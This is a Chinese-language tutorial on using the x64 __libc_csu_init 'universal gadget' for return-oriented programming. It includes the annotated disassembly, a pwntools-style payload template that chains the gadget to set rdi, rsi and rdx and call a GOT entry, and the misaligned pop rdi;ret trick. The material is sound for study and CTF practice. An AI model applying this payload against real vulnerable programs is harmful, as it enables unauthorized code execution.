x64 之 __libc_csu_init 通用gadget

在64位ELF程序中,有一块地方很是特别,他能够帮助我们获得构造rop链的重要函数,就是__libc_csu_init,新版本的ida会直接命名为init

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
.text:0000000000400700 ; void init(void)
.text:0000000000400700 init proc near ; DATA XREF: start+16o
.text:0000000000400700 push r15
.text:0000000000400702 mov r15d, edi
.text:0000000000400705 push r14
.text:0000000000400707 mov r14, rsi
.text:000000000040070A push r13
.text:000000000040070C mov r13, rdx
.text:000000000040070F push r12
.text:0000000000400711 lea r12, off_600E10
.text:0000000000400718 push rbp
.text:0000000000400719 lea rbp, off_600E18
.text:0000000000400720 push rbx
.text:0000000000400721 sub rbp, r12
.text:0000000000400724 xor ebx, ebx
.text:0000000000400726 sar rbp, 3
.text:000000000040072A sub rsp, 8
.text:000000000040072E call _init_proc
.text:0000000000400733 test rbp, rbp
.text:0000000000400736 jz short loc_400756
.text:0000000000400738 nop dword ptr [rax+rax+00000000h]
.text:0000000000400740
.text:0000000000400740 loc_400740: ; CODE XREF: init+54j
.text:0000000000400740 mov rdx, r13
.text:0000000000400743 mov rsi, r14
.text:0000000000400746 mov edi, r15d
.text:0000000000400749 call qword ptr [r12+rbx*8]
.text:000000000040074D add rbx, 1
.text:0000000000400751 cmp rbx, rbp
.text:0000000000400754 jnz short loc_400740
.text:0000000000400756
.text:0000000000400756 loc_400756: ; CODE XREF: init+36j
.text:0000000000400756 add rsp, 8
.text:000000000040075A pop rbx
.text:000000000040075B pop rbp
.text:000000000040075C pop r12
.text:000000000040075E pop r13
.text:0000000000400760 pop r14
.text:0000000000400762 pop r15
.text:0000000000400764 retn
.text:0000000000400764 init endp

重要的代码区域为

1
2
3
4
5
6
7
8
9
10
11
12
.text:0000000000400740 mov rdx, r13
.text:0000000000400743 mov rsi, r14
.text:0000000000400746 mov edi, r15d
.text:0000000000400749 call qword ptr [r12+rbx*8]
.text:000000000040075A pop rbx
.text:000000000040075B pop rbp
.text:000000000040075C pop r12
.text:000000000040075E pop r13
.text:0000000000400760 pop r14
.text:0000000000400762 pop r15
.text:0000000000400764 retn

这里可以看到在40075A这里的代码 能可以控制rbx,rbp,r12,r13,r14和r15的值,我们需要的是 rdi,rsi,rdx,rcx,r8,r9

rdi可以通过 控制 r15 (mov edi, r15d) 来实现
rsi可以通过 控制 r14 (mov rsi, r14) 来实现
rdx可以通过 控制 r13 (mov rdx, r13) 来实现

6次pop之后跳转到 400740这一个位置 然后来进行三个赋值,就可以运行一次 call r12所以这里可以直接将rbx设置为0

因为是要call调用 所以这里需要got而不是plt

因为这里设置了rbx为0 之后有一个(add rbx, 1) 操作,然后与 rbp比较 ,不让跳转就刚开始赋值rbp为1

模版如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pop_init = 0x40075A # pop rbx;pop rbp;pop r12;pop r13;pop r14;pop r15;ret
pop_init_next = 0x400740 #mov rdx,r13;mov rsi,r14;mov edi,r15;call [r12 + rbx*8]
payload = '....'
payload += p64(pop_init) #goto __libc_csu_init
payload += p64(0) #pop rbx
payload += p64(1) #pop ebp
payload += p64(got_xxx) #pop r12
payload += p64(argv3) #pop 13 = pop rdx
payload += p64(argv2) #pop 14 = pop rsi
payload += p64(argv1) #pop 15 = pop rdi
payload += p64(pop_init_next) #ret
payload += '\x00'*56 # pop 6
payload += p64(addr_main) #ret

看了__libc_csu_init函数的通用gadget 这篇文章之后

还发现了后面还有两个小技巧

就是 pop rdi;ret 的字节码是 0x5f 0xc3 而这里 pop r15;retn的字节码为0x41 0x5f 0xc3

这里的pop_rdi_ret = 0x400763

与此类似的是 pop_rsi_r15_ret = 0x400761 也是因为r14带来的

这样就可以通过 __libc_csu_init来获得任意的 gadget 神器哇!!

参考文章

__libc_csu_init函数的通用gadget
一步一步学ROP之linux_x64篇

文章目录
  1. 1. 参考文章
,